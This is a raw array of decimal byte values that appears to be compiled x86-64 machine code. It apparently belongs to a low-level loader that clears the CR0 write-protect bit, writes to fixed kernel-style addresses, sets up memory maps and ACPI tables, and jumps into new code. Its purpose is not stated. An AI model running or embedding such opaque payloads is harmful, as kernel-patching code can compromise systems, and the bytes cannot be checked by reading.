72,141,131,0,32,0,0,196,226,232,242,208,72,137,84,36,8,72,141,147,0,40,0,0,198,0,0,72,255,192,72,57,194,117,245,72,184,255,255,0,0,0,154,47,0,72,141,61,212,40,0,0,72,137,131,16,32,0,0,72,184,255,255,0,0,0,146,15,0,72,137,131,24,32,0,0,184,153,0,0,0,72,193,224,40,72,137,131,32,32,0,0,232,117,9,0,0,15,183,68,36,6,72,141,13,116,8,0,0,72,139,84,36,8,76,141,108,2,1,72,139,21,0,31,0,0,49,192,72,57,194,116,14,64,138,52,1,65,136,116,5,0,72,255,192,235,237,76,139,37,192,46,0,0,72,141,61,130,40,0,0,196,66,152,242,229,76,3,37,209,30,0,0,232,36,9,0,0,76,139,5,81,46,0,0,185,0,4,0,0,72,139,5,53,46,0,0,72,139,21,142,46,0,0,73,141,172,36,0,2,0,0,72,137,239,76,137,198,73,129,196,0,18,0,0,243,165,196,226,104,242,200,198,133,16,2,0,0,208,137,141,24,2,0,0,72,139,13,6,46,0,0,72,247,210,65,139,184,56,2,0,0,199,133,60,2,0,0,5,0,0,0,72,33,208,137,141,28,2,0,0,72,193,233,32,137,141,196,0,0,0,72,139,13,232,45,0,0,72,193,232,32,68,137,165,40,2,0,0,72,141,119,255,137,133,192,0,0,0,65,33,212,49,192,128,60,1,0,15,149,194,72,57,198,65,15,151,192,72,255,192,68,33,194,128,226,1,117,231,72,57,199,72,15,70,198,49,210,72,57,208,116,13,64,138,52,17,65,136,52,20,72,255,194,235,238,65,198,4,4,0,72,141,61,193,39,0,0,232,77,8,0,0,184,24,0,0,252,72,11,5,197,45,0,0,191,224,0,10,248,72,139,16,72,131,226,254,72,137,16,232,234,24,0,0,191,224,16,10,248,232,224,24,0,0,191,224,32,10,248,232,214,24,0,0,191,224,48,10,248,232,204,24,0,0,191,224,64,10,248,232,194,24,0,0,191,224,80,10,248,232,184,24,0,0,191,224,96,10,248,232,174,24,0,0,191,224,112,10,248,232,164,24,0,0,72,141,61,111,39,0,0,232,219,7,0,0,72,99,13,120,29,0,0,72,184,255,255,255,255,14,0,0,0,72,139,21,71,45,0,0,191,36,32,128,228,190,4,44,128,228,72,193,225,30,72,1,200,72,9,214,72,193,232,24,72,9,215,193,224,16,199,7,0,0,0,0,128,204,15,199,6,0,0,0,0,137,7,184,104,32,128,228,72,9,208,72,193,233,20,199,0,0,4,0,0,184,40,84,128,228,72,9,194,199,6,0,0,0,15,137,10,72,141,61,24,39,0,0,232,102,7,0,0,184,216,134,128,228,72,11,5,222,44,0,0,65,184,0,94,128,228,191,4,94,128,228,65,186,0,0,0,128,190,24,94,128,228,72,199,0,0,0,0,21,184,52,130,128,228,72,11,5,181,44,0,0,72,199,0,0,0,0,80,184,72,208,128,228,72,11,5,162,44,0,0,72,199,0,1,0,0,0,184,72,216,128,228,72,11,5,143,44,0,0,72,199,0,1,0,0,0,184,0,195,128,228,72,11,5,124,44,0,0,72,199,0,0,0,0,0,184,168,193,128,228,72,11,5,105,44,0,0,72,139,16,72,129,226,255,255,231,255,72,137,16,184,32,128,128,228,72,139,13,80,44,0,0,72,9,193,72,139,17,72,129,202,5,0,3,0,72,137,17,72,11,5,57,44,0,0,72,139,16,72,129,226,250,255,252,255,72,137,16,184,96,14,128,228,72,139,13,32,44,0,0,72,9,193,72,139,17,72,129,202,64,1,16,0,72,137,17,185,28,94,128,228,72,11,5,4,44,0,0,72,139,16,72,129,226,191,254,239,255,72,137,16,186,48,94,128,228,72,139,5,235,43,0,0,76,9,192,72,199,0,84,1,0,0,72,139,5,218,43,0,0,72,9,248,76,137,16,72,139,5,205,43,0,0,72,9,240,72,199,0,84,1,0,0,72,139,5,188,43,0,0,72,9,200,76,137,16,72,139,5,175,43,0,0,72,9,208,72,199,0,84,1,0,0,184,52,94,128,228,76,139,13,153,43,0,0,73,9,193,77,137,17,65,185,4,52,129,228,76,11,13,134,43,0,0,73,199,1,1,0,0,0,65,185,12,52,129,228,76,11,13,114,43,0,0,73,199,1,1,0,0,0,76,11,5,100,43,0,0,73,199,0,86,1,0,0,72,11,61,86,43,0,0,72,199,7,240,0,86,24,72,141,61,138,37,0,0,72,11,53,65,43,0,0,72,199,6,86,1,0,0,72,11,13,51,43,0,0,72,199,1,240,0,0,80,72,11,21,37,43,0,0,72,199,2,86,1,0,0,72,11,5,23,43,0,0,72,199,0,240,16,69,1,232,135,5,0,0,72,139,61,4,43,0,0,72,137,238,72,141,76,36,6,72,247,215,72,33,251,72,33,254,72,35,61,132,42,0,0,72,137,218,65,255,213,72,141,61,78,37,0,0,232,86,5,0,0,72,131,196,24,91,93,65,92,65,93,195,243,15,30,250,72,137,61,92,42,0,0,72,137,53,109,42,0,0,72,137,21,86,42,0,0,72,137,13,87,42,0,0,76,137,5,96,42,0,0,68,137,13,193,26,0,0,195,243,15,30,250,49,192,198,4,7,0,72,255,192,72,61,0,16,0,0,117,241,15,182,150,1,2,0,0,49,192,72,131,194,17,138,140,6,241,1,0,0,136,140,7,241,1,0,0,72,255,192,72,57,194,119,234,15,182,151,232,1,0,0,190,0,0,0,128,72,137,208,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,0,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,1,0,0,0,141,80,1,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,0,0,72,199,130,216,2,0,0,0,128,7,0,199,130,224,2,0,0,2,0,0,0,141,80,2,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,8,0,72,199,130,216,2,0,0,0,160,1,0,199,130,224,2,0,0,1,0,0,0,141,80,3,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,160,9,0,72,199,130,216,2,0,0,0,96,0,0,199,130,224,2,0,0,2,0,0,0,141,80,4,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,10,0,72,199,130,216,2,0,0,0,0,2,0,199,130,224,2,0,0,2,0,0,0,141,80,5,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,14,0,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,6,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,16,0,72,199,130,216,2,0,0,0,0,48,0,199,130,224,2,0,0,1,0,0,0,141,80,7,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,64,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,8,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,72,0,72,199,130,216,2,0,0,0,0,32,0,199,130,224,2,0,0,1,0,0,0,141,80,9,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,104,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,10,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,112,0,72,199,130,216,2,0,0,0,128,142,126,72,99,13,147,24,0,0,199,130,224,2,0,0,1,0,0,0,141,80,11,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,254,126,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,4,0,0,0,141,80,12,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,255,126,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,13,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,127,72,199,130,216,2,0,0,0,0,0,1,199,130,224,2,0,0,1,0,0,0,141,80,14,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,199,130,216,2,0,0,0,0,0,96,199,130,224,2,0,0,2,0,0,0,141,80,15,15,182,210,72,107,210,20,72,1,250,72,129,198,0,0,0,96,72,137,178,208,2,0,0,72,129,198,0,0,0,24,72,199,130,216,2,0,0,0,0,0,24,72,193,225,30,199,130,224,2,0,0,2,0,0,0,141,80,16,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,129,198,0,0,0,8,72,199,130,216,2,0,0,0,0,0,4,199,130,224,2,0,0,2,0,0,0,141,80,17,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,1,206,72,137,138,216,2,0,0,199,130,224,2,0,0,2,0,0,0,141,80,18,15,182,210,131,192,19,72,107,210,20,72,1,250,72,137,178,208,2,0,0,190,127,1,0,0,72,193,230,24,199,130,224,2,0,0,1,0,0,0,72,41,206,72,137,178,216,2,0,0,136,135,232,1,0,0,195,243,15,30,250,72,141,61,103,33,0,0,80,49,192,255,21,223,38,0,0,191,2,0,0,0,255,21,132,39,0,0,72,139,61,197,38,0,0,190,0,0,14,0,72,129,207,0,0,14,0,232,123,13,0,0,72,141,61,82,33,0,0,49,192,255,21,173,38,0,0,72,139,61,30,39,0,0,49,201,72,141,53,95,244,255,255,72,137,250,255,21,4,39,0,0,72,141,61,61,33,0,0,49,192,255,21,133,38,0,0,49,192,90,195,250,15,1,17,184,24,0,0,0,142,216,142,208,142,192,142,224,142,232,15,34,218,73,137,252,73,137,245,72,199,199,0,0,0,6,73,137,254,49,210,65,138,148,36,241,1,0,0,72,255,194,72,193,226,9,73,141,52,20,65,139,140,36,244,1,0,0,72,193,225,4,72,1,207,72,1,206,72,131,239,8,72,131,238,8,72,193,233,3,253,243,72,165,252,72,141,37,20,2,0,0,72,131,228,240,106,16,73,129,198,0,2,0,0,65,86,76,137,238,72,203,243,15,30,250,72,131,236,16,72,139,5,241,37,0,0,185,20,224,144,200,186,144,208,3,0,72,9,193,139,49,64,128,230,32,117,4,255,202,117,244,186,0,224,144,200,72,9,208,64,136,56,240,72,131,68,36,8,0,72,131,194,20,72,11,21,187,37,0,0,184,144,208,3,0,139,10,128,225,64,117,4,255,200,117,245,72,131,196,16,195,243,15,30,250,102,64,15,190,199,65,137,248,102,131,248,10,117,10,191,13,0,0,0,232,138,255,255,255,65,15,182,248,235,132,243,15,30,250,73,137,249,65,15,190,57,64,132,255,116,10,73,255,193,232,198,255,255,255,235,237,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,64,128,255,9,141,71,87,119,3,141,71,48,195,72,137,250,137,247,193,239,28,137,241,232,228,255,255,255,65,137,192,72,139,2,137,207,193,239,24,131,231,15,72,141,112,1,72,137,50,68,136,0,232,199,255,255,255,65,137,192,72,139,2,137,207,193,239,20,131,231,15,72,141,112,1,72,137,50,68,136,0,232,170,255,255,255,65,137,192,72,139,2,137,207,193,239,16,131,231,15,72,141,112,1,72,137,50,68,136,0,232,141,255,255,255,65,137,192,72,139,2,137,207,193,239,12,131,231,15,72,141,112,1,72,137,50,68,136,0,232,112,255,255,255,65,137,192,72,139,2,15,182,253,131,231,15,72,141,112,1,72,137,50,68,136,0,232,85,255,255,255,65,137,192,72,139,2,137,207,193,239,4,131,231,15,72,141,112,1,72,137,50,68,136,0,232,56,255,255,255,65,137,192,72,139,2,131,225,15,137,207,72,141,112,1,72,137,50,68,136,0,232,30,255,255,255,65,137,192,72,139,2,72,141,72,1,72,137,10,68,136,0,195,65,87,65,86,65,85,65,84,85,83,82,68,139,103,20,65,190,4,0,0,0,72,137,253,73,137,247,72,141,61,28,31,0,0,68,137,224,37,0,240,255,255,153,65,247,254,68,141,104,240,137,195,68,137,238,49,192,255,21,39,36,0,0,73,99,197,186,56,0,0,0,72,141,188,133,0,1,0,0,76,137,254,232,158,254,255,255,68,137,224,72,99,203,153,65,129,205,0,0,16,0,65,247,254,57,200,126,24,102,131,188,141,2,1,0,0,16,117,8,68,137,172,141,0,1,0,0,72,255,193,235,228,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,249,83,73,137,243,137,213,72,137,203,69,49,210,67,128,60,19,0,116,5,73,255,194,235,244,73,139,57,64,246,199,3,116,12,72,141,71,1,73,137,1,198,7,0,235,235,186,6,0,0,0,72,141,53,130,30,0,0,232,31,254,255,255,49,246,73,131,1,6,76,137,207,232,54,254,255,255,137,238,76,137,207,232,44,254,255,255,49,246,76,137,207,232,34,254,255,255,49,246,76,137,207,232,24,254,255,255,190,1,0,0,0,76,137,207,232,11,254,255,255,49,246,76,137,207,232,1,254,255,255,137,222,76,137,207,232,247,253,255,255,49,246,76,137,207,232,237,253,255,255,49,246,76,137,207,232,227,253,255,255,49,246,76,137,207,232,217,253,255,255,49,246,76,137,207,232,207,253,255,255,65,141,114,1,76,137,207,232,195,253,255,255,49,246,76,137,207,232,185,253,255,255,73,139,57,76,137,210,76,137,222,232,134,253,255,255,77,3,17,73,141,66,1,73,137,1,65,198,2,0,73,139,1,168,3,116,12,72,141,80,1,73,137,17,198,0,0,235,237,91,93,195,243,15,30,250,72,139,15,72,99,214,76,139,5,106,35,0,0,49,192,72,57,194,118,9,198,4,1,0,72,255,192,235,242,72,1,23,49,192,57,198,126,13,69,138,12,0,68,136,12,1,72,255,192,235,239,72,1,23,195,243,15,30,250,72,139,23,49,192,72,139,13,40,35,0,0,198,4,2,0,72,255,192,72,131,248,32,117,243,72,131,7,32,49,192,72,137,198,72,247,222,72,131,248,15,119,7,64,138,116,49,15,235,5,64,138,116,49,47,64,136,52,2,72,255,192,72,131,248,32,117,219,72,131,7,32,195,243,15,30,250,65,84,85,83,72,137,213,72,131,236,16,73,137,204,49,192,72,137,116,36,8,72,137,251,72,141,61,28,29,0,0,255,21,34,34,0,0,72,139,69,0,72,141,12,133,0,0,0,0,76,57,225,116,27,72,139,116,36,8,76,137,226,72,141,61,11,29,0,0,49,192,255,21,250,33,0,0,49,192,235,98,76,139,3,49,192,65,198,4,0,0,72,255,192,72,61,0,1,0,0,117,240,72,139,3,76,137,226,72,141,184,0,1,0,0,72,137,59,72,139,117,24,232,87,252,255,255,65,141,132,36,0,1,0,0,65,137,0,184,1,0,0,8,72,193,224,5,65,199,64,16,16,0,0,0,73,137,64,4,184,1,0,0,0,69,137,96,20,65,199,64,24,0,1,0,0,76,1,35,72,131,196,16,91,93,65,92,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,45,255,255,255,133,192,116,73,72,137,232,199,67,12,7,0,2,0,72,193,232,2,199,67,4,44,0,0,0,137,194,37,255,3,0,0,129,226,0,252,255,255,199,67,32,21,0,0,0,137,83,36,72,141,115,32,137,67,40,72,141,149,224,0,0,0,49,255,232,146,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,201,254,255,255,133,192,116,75,72,184,1,0,0,0,144,0,0,0,199,67,12,7,0,2,0,72,137,67,32,72,184,61,0,0,0,112,2,0,0,199,67,4,52,0,0,0,72,141,149,224,0,0,0,72,137,67,40,72,141,115,32,199,67,48,0,0,0,0,49,255,232,44,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,205,72,139,31,69,137,196,232,96,254,255,255,133,192,116,85,65,131,252,1,199,67,12,2,0,1,0,25,192,199,67,4,48,0,0,0,131,224,9,199,67,36,0,0,0,0,137,67,32,72,137,232,72,193,232,2,72,141,115,32,137,194,37,255,3,0,0,129,226,0,252,255,255,137,67,44,137,83,40,49,255,72,141,149,224,0,0,0,232,185,11,0,0,137,67,28,184,1,0,0,0,91,93,65,92,195,243,15,30,250,72,139,21,218,32,0,0,72,133,210,116,4,49,192,255,226,72,139,5,186,32,0,0,195,243,15,30,250,72,139,21,182,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,226,17,0,0,69,133,192,117,7,72,141,5,22,18,0,0,90,195,72,141,5,13,18,0,0,195,243,15,30,250,72,139,21,129,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,29,27,0,0,69,133,192,117,7,72,141,5,7,27,0,0,90,195,72,141,5,254,26,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,104,2,0,0,49,192,72,137,124,36,24,73,137,254,232,86,255,255,255,72,133,192,117,20,72,141,61,223,26,0,0,49,192,255,21,143,31,0,0,233,254,5,0,0,73,137,196,49,192,232,79,255,255,255,72,141,108,36,24,49,201,186,237,65,0,0,72,141,53,231,26,0,0,72,137,239,72,137,195,232,140,251,255,255,185,32,0,0,0,186,164,129,0,0,72,141,53,207,26,0,0,72,137,239,232,115,251,255,255,72,137,239,76,141,124,36,17,232,164,252,255,255,49,201,186,237,65,0,0,72,141,53,192,26,0,0,232,83,251,255,255,49,201,186,237,65,0,0,72,141,53,177,26,0,0,72,137,239,232,61,251,255,255,72,139,5,180,31,0,0,186,237,65,0,0,72,141,53,163,26,0,0,72,137,239,15,182,64,126,102,131,248,1,69,25,237,49,201,65,131,229,128,65,129,197,0,1,0,0,232,10,251,255,255,186,164,129,0,0,73,99,205,72,141,53,134,26,0,0,72,137,239,232,243,250,255,255,68,137,238,72,137,239,232,235,251,255,255,72,139,21,71,31,0,0,72,133,210,116,4,49,192,255,210,76,141,108,36,32,76,137,255,72,141,21,114,26,0,0,190,7,0,0,0,49,192,255,21,154,30,0,0,76,137,249,72,141,21,98,26,0,0,190,64,0,0,0,76,137,239,49,192,76,141,124,36,96,255,21,123,30,0,0,49,201,186,237,65,0,0,76,137,238,72,137,239,232,139,250,255,255,76,139,13,98,30,0,0,49,192,76,137,76,36,8,232,82,254,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,39,26,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,29,26,0,0,49,192,255,21,29,30,0,0,72,139,67,32,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,44,250,255,255,72,139,75,32,72,141,53,14,26,0,0,73,139,84,36,32,72,137,239,76,139,124,36,24,232,90,252,255,255,133,192,15,132,81,4,0,0,76,137,255,72,141,53,99,15,0,0,232,104,249,255,255,76,139,13,207,29,0,0,49,192,76,141,188,36,160,0,0,0,76,137,76,36,8,232,183,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,188,25,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,130,25,0,0,49,192,255,21,130,29,0,0,72,139,67,40,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,145,249,255,255,72,139,75,40,72,141,53,131,25,0,0,73,139,84,36,40,72,137,239,232,196,251,255,255,133,192,15,132,187,3,0,0,76,139,13,72,29,0,0,49,192,76,141,188,36,224,0,0,0,76,137,76,36,8,232,48,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,68,25,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,251,24,0,0,49,192,255,21,251,28,0,0,72,139,67,24,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,10,249,255,255,72,139,75,24,72,141,53,11,25,0,0,73,139,84,36,24,72,137,239,76,139,124,36,24,232,56,251,255,255,133,192,15,132,47,3,0,0,76,137,255,72,141,53,1,14,0,0,232,70,248,255,255,76,139,13,173,28,0,0,49,192,76,141,188,36,32,1,0,0,76,137,76,36,8,232,149,252,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,184,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,96,24,0,0,49,192,255,21,96,28,0,0,72,139,67,48,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,111,248,255,255,72,139,75,48,72,141,53,128,24,0,0,73,139,84,36,48,72,137,239,76,139,124,36,24,232,157,250,255,255,133,192,15,132,148,2,0,0,76,137,255,72,141,53,38,13,0,0,232,171,247,255,255,76,139,13,18,28,0,0,49,192,76,141,188,36,96,1,0,0,76,137,76,36,8,232,250,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,46,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,197,23,0,0,49,192,255,21,197,27,0,0,72,139,67,56,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,212,247,255,255,72,139,75,56,72,141,53,247,23,0,0,73,139,84,36,56,72,137,239,76,139,124,36,24,232,2,250,255,255,133,192,15,132,249,1,0,0,76,137,255,72,141,53,139,12,0,0,232,16,247,255,255,76,139,13,119,27,0,0,49,192,76,141,188,36,160,1,0,0,76,137,76,36,8,232,95,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,166,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,42,23,0,0,49,192,255,21,42,27,0,0,72,139,3,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,58,247,255,255,72,139,11,72,141,53,112,23,0,0,73,139,20,36,72,137,239,232,211,249,255,255,133,192,15,132,102,1,0,0,76,139,13,243,26,0,0,49,192,76,141,188,36,224,1,0,0,76,137,76,36,8,232,219,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,51,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,166,22,0,0,49,192,255,21,166,26,0,0,72,139,67,8,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,181,246,255,255,72,139,75,8,69,49,192,73,139,84,36,8,72,141,53,244,22,0,0,72,137,239,232,175,249,255,255,133,192,15,132,220,0,0,0,49,201,186,164,129,0,0,72,141,53,219,22,0,0,72,137,239,232,124,246,255,255,76,139,13,83,26,0,0,49,192,76,141,188,36,32,2,0,0,76,137,76,36,8,232,59,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,177,22,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,6,22,0,0,49,192,255,21,6,26,0,0,72,139,67,16,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,21,246,255,255,72,139,75,16,65,184,1,0,0,0,73,139,84,36,16,72,141,53,112,22,0,0,72,137,239,232,12,249,255,255,133,192,116,61,49,201,186,164,129,0,0,72,141,53,60,22,0,0,72,137,239,232,221,245,255,255,72,139,68,36,24,76,41,240,72,61,112,128,1,0,118,27,72,137,198,186,112,128,1,0,72,141,61,53,22,0,0,49,192,255,21,140,25,0,0,72,131,200,255,72,129,196,104,2,0,0,91,93,65,92,65,93,65,94,65,95,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,198,71,9,0,139,79,4,49,210,49,192,57,209,118,8,2,4,23,72,255,194,235,244,247,216,136,71,9,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,141,135,0,128,0,0,72,131,236,72,72,137,4,36,72,137,253,72,137,243,49,192,198,132,5,0,128,0,0,0,72,255,192,72,61,0,128,0,0,117,237,72,137,234,72,137,222,72,141,61,194,21,0,0,49,192,255,21,244,24,0,0,72,139,60,36,185,9,0,0,0,72,137,238,243,165,72,141,133,36,128,0,0,72,141,61,193,21,0,0,72,137,68,36,48,49,192,69,49,255,69,49,237,139,181,16,128,0,0,255,21,191,24,0,0,72,139,181,24,128,0,0,72,141,61,168,21,0,0,49,192,255,21,169,24,0,0,68,139,181,16,128,0,0,72,141,189,36,128,0,0,73,41,222,74,141,68,53,0,139,80,4,72,137,198,72,137,68,36,8,232,13,255,255,255,139,133,16,128,0,0,72,137,238,72,41,222,72,3,181,24,128,0,0,137,92,36,36,72,41,216,139,68,5,4,72,3,68,36,48,139,86,4,72,137,68,36,16,141,67,36,137,133,16,128,0,0,72,139,68,36,16,72,131,192,48,72,137,199,72,137,68,36,24,232,195,254,255,255,72,139,133,24,128,0,0,72,41,216,139,84,5,4,72,139,68,36,24,72,43,4,36,72,1,216,72,137,133,24,128,0,0,72,139,68,36,24,76,141,116,16,96,72,139,68,36,8,139,64,4,72,131,232,36,72,193,232,2,72,137,68,36,40,139,68,36,40,137,68,36,60,68,57,124,36,60,15,142,114,1,0,0,72,139,68,36,8,72,141,61,225,20,0,0,70,139,100,184,36,68,137,100,36,56,73,41,220,73,1,236,68,139,76,36,56,65,139,4,36,137,193,15,182,212,193,233,16,15,182,240,193,232,24,15,182,201,65,137,192,49,192,255,21,165,23,0,0,65,139,4,36,61,70,65,67,80,116,12,61,83,83,68,84,116,119,233,206,0,0,0,65,139,116,36,36,72,141,61,155,20,0,0,49,192,255,21,122,23,0,0,65,139,116,36,40,72,141,61,149,20,0,0,49,192,255,21,102,23,0,0,65,139,116,36,36,76,137,247,186,64,0,0,0,77,141,110,64,72,41,222,72,1,238,232,212,253,255,255,65,139,84,36,4,76,137,230,76,137,239,232,196,253,255,255,76,137,240,72,43,4,36,65,139,84,36,4,3,68,36,36,73,141,116,21,56,65,137,70,100,77,137,238,235,116,77,133,237,116,72,65,139,117,40,73,129,198,240,0,0,0,76,137,247,72,41,222,72,1,238,139,86,4,232,133,253,255,255,65,139,69,40,76,137,239,72,41,216,139,84,5,4,76,137,240,72,43,4,36,3,68,36,36,77,141,180,22,116,1,0,0,65,137,69,40,232,115,253,255,255,235,15,72,141,61,253,19,0,0,49,192,255,21,192,22,0,0,65,139,84,36,4,76,137,230,76,137,247,232,58,253,255,255,65,139,116,36,4,76,1,246,76,137,247,232,66,253,255,255,77,137,242,76,43,20,36,68,3,84,36,36,73,137,246,72,139,68,36,16,68,137,209,70,137,148,189,72,128,0,0,74,137,76,248,84,73,255,199,233,131,254,255,255,131,124,36,40,0,65,184,0,0,0,0,76,137,246,68,15,73,68,36,40,72,43,52,36,72,139,76,36,16,73,99,192,65,255,192,1,243,137,156,133,72,128,0,0,72,137,92,193,84,49,192,65,198,4,6,0,72,255,192,72,131,248,84,117,242,72,184,73,86,82,83,84,0,0,0,65,198,70,8,1,73,137,6,73,141,126,10,186,6,0,0,0,72,141,53,91,19,0,0,232,150,252,255,255,73,141,126,16,186,8,0,0,0,72,141,53,77,19,0,0,232,129,252,255,255,65,199,70,24,37,18,22,32,186,4,0,0,0,73,141,126,28,72,141,53,57,19,0,0,232,100,252,255,255,72,184,37,18,22,32,64,48,32,0,65,199,70,80,4,167,0,0,73,137,70,32,72,184,16,40,36,0,2,0,64,0,73,137,70,48,184,0,0,0,252,73,137,70,56,184,1,36,0,4,72,193,224,37,76,137,247,73,137,70,64,72,184,2,160,0,48,3,161,0,0,73,137,70,72,232,44,252,255,255,72,139,92,36,16,77,141,86,84,66,141,4,133,36,0,0,0,137,133,40,128,0,0,66,141,4,197,36,0,0,0,49,210,137,67,52,49,192,198,133,32,128,0,0,0,198,133,8,128,0,0,0,2,132,21,0,128,0,0,72,255,194,72,131,250,20,117,240,247,216,49,210,136,133,8,128,0,0,49,192,2,132,21,0,128,0,0,72,255,194,72,131,250,36,117,240,247,216,72,139,124,36,48,136,133,32,128,0,0,232,186,251,255,255,72,139,124,36,24,232,176,251,255,255,72,139,52,36,72,137,239,76,137,210,72,43,20,36,72,131,196,72,91,93,65,92,65,93,65,94,65,95,233,119,251,255,255,243,15,30,250,131,200,255,131,255,4,137,249,119,15,184,1,0,0,0,137,194,211,226,137,209,211,224,255,200,195,243,15,30,250,72,139,53,188,20,0,0,72,9,254,138,70,2,168,1,116,6,131,224,254,136,70,2,15,182,126,2,102,209,239,131,231,7,232,184,255,255,255,137,70,16,195,243,15,30,250,137,248,76,141,5,228,6,0,0,247,208,49,255,72,57,250,116,21,15,182,12,62,72,255,199,49,193,193,232,8,15,182,201,65,51,4,136,235,230,247,208,195,15,32,192,72,137,194,72,129,226,255,255,254,255,15,34,194,195,15,32,192,129,231,0,0,1,0,72,9,199,15,34,199,195,243,15,30,250,83,72,137,251,72,139,5,107,20,0,0,106,6,73,131,200,255,106,0,49,201,186,2,1,0,0,72,137,222,72,139,56,65,185,1,0,0,0,255,21,90,20,0,0,72,137,198,88,72,133,246,90,116,206,72,139,61,65,20,0,0,255,21,83,20,0,0,91,72,11,5,251,19,0,0,195,243,15,30,250,72,133,255,72,137,242,116,19,72,139,5,23,20,0,0,72,137,254,72,139,56,255,37,35,20,0,0,195,243,15,30,250,72,133,246,15,132,217,0,0,0,65,84,85,83,72,137,253,72,131,236,16,72,133,255,15,132,186,0,0,0,72,137,242,49,192,72,137,243,72,137,254,72,141,61,14,17,0,0,255,21,169,19,0,0,72,133,237,120,65,72,141,61,25,17,0,0,49,192,255,21,149,19,0,0,72,137,238,72,141,61,61,17,0,0,49,192,255,21,131,19,0,0,72,141,61,80,17,0,0,49,192,255,21,116,19,0,0,72,141,61,116,17,0,0,49,192,255,21,101,19,0,0,235,92,255,21,189,19,0,0,49,192,232,227,254,255,255,72,141,61,139,17,0,0,73,137,196,49,192,255,21,68,19,0,0,102,199,68,36,2,255,37,49,192,199,68,36,4,0,0,0,0,72,137,108,36,8,138,84,4,2,136,20,3,72,255,192,72,131,248,14,117,240,15,9,76,137,231,232,178,254,255,255,255,21,118,19,0,0,184,1,0,0,0,235,2,49,192,72,131,196,16,91,93,65,92,195,49,192,195,243,15,30,250,65,84,85,83,72,99,223,72,107,219,48,72,137,245,65,137,212,72,3,29,53,19,0,0,255,21,55,19,0,0,49,192,232,93,254,255,255,49,201,72,137,199,198,4,11,0,72,255,193,72,131,249,48,117,243,68,137,35,72,137,107,8,199,67,44,1,0,0,0,232,73,254,255,255,91,93,65,92,255,37,9,19,0,0,243,15,30,250,65,84,72,129,231,0,192,255,255,76,141,166,255,63,0,0,85,73,129,228,0,192,255,255,83,72,137,253,137,211,137,209,72,137,254,76,137,226,72,141,61,201,16,0,0,49,192,255,21,104,18,0,0,15,182,203,76,137,226,91,72,137,238,72,139,61,135,18,0,0,93,65,92,255,37,158,18,0,0,243,15,30,250,72,133,255,85,83,81,116,7,72,137,61,11,18,0,0,72,139,21,4,18,0,0,72,133,210,116,11,72,141,61,161,16,0,0,49,192,255,210,72,139,21,237,17,0,0,72,133,210,15,132,35,2,